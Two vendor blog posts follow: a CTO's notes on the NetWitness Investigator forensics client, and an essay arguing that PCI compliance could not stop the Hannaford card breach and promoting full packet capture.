Next – there are quite a few ways we have built in extensibility in the product.  From custom alert rules – to custom threat and intelligence feeds – to full on custom session protocol parsing – users of investigator can contribute by creating extensions.  I wanted – personally above all else as CTO - to get a community of users that are pushing the product forward.  That is why your registration also registers you for the community.  The video tutorial did not focus on this aspect yet – but I will extend it soon.  For now – if you are interested in those aspects – you will have to make do with the manuals and the community forums.

The last question - seems to be “Windows – Really?”

Well – remember – this is our front end client software to enterprise solutions.  We actually are working in the background to make the client more cross platform.  All of our enterprise solutions work on dedicated – very high speed, open Linux architectures.  As a small company – we can move faster by picking our battles with technology.  All of the database technology that we have written, all of the core components for processing and extracting data, essentially all of our core components – are all already cross platform.  When we have time – we will work on getting the UI components there as well.

In the end – we really hope you enjoy Investigator.  We hope it makes your jobs easier.  Please provide us feedback.  We will listen – and we will update often with new capabilities.

The recent public disclosures at Hannaford Bros of millions of credit card numbers lost to professional carder gangs again raises questions regarding the state of preparedness of retail security and other industries to protect customer data in the current cyber threat environment.  In the case of Hannaford, these gangs may have followed a pattern familiar to network forensics researchers with whom we work – a weak link in the security program is exploited as a foothold to open a command and control channel on the victim network.  After that, it is just a matter of time before critical POS servers or store terminals are Trojanized, and are automatically transmitting perfectly valid customer credit card numbers directly to carder gang members. 

The amount of ensuing punditry is astounding.  First, the horror and shock from some corners that PCI Standards did not prevent this debacle.  For good or bad, PCI was the credit card companies’ much needed attempt to enforce some level of basic information security on organizations with merchant accounts.  The security controls in PCI were designed years ago, and are focused on well-understood and documented threats and essential security practices.  But, PCI compliance, due to its very nature, is not going to provide adequate protection against a well-funded and committed professional adversary who can design specific malware to circumvent these basic security controls. 

There also have been calls to jettison PCI.  The premise in these statements is that if the card companies would simply take responsibility for the storage and security of credit card numbers from the moment of card-swiping forward, there would be no need for retailers to comply with some key aspects of PCI.  This position, while seemingly attractive at the surface from a security perspective, is untenable in a multi-trillion dollar consumer facing industry.  The reality is that the same architectural, procedural, technological, and financial constraints preventing retailers from adequately protecting their data in many cases will prevent the card companies from implementing the suggested changes. 

Having spent time with top retailers over the past several years, I can tell you that there are many very good security people working at these organizations, but with limited ability to get things done.  These I/T professionals would benefit greatly from two things:  1) A self-directed industry effort to develop voluntary, model security standards that would deal effectively with today’s actual threat environment, versus force them to follow check lists.  This process requires leadership, organization and resources; and 2) A greater focus on operational security efficacy.  PCI was only good in the sense that it jolted retailers to focus on “Security 101” but it is not the end – simply a catalyst.  Retailers and other industries that handle PII now must take matters in their own hands and move beyond PCI and other regulations to recognize that today’s threat environment requires a deeper degree of security monitoring and network visibility, especially at the application layer.   

You can’t get this visibility from once-a-quarter scanning, annual audits, or even from most of the perimeter sensors deployed today.  If you are not doing full packet capture and session analysis with NetWitness you will miss indications and warnings of these TJX and Hannafords-like problems, and also will lack the evidence to figure out the scope and damage of the incident.   – Eddie Schwartz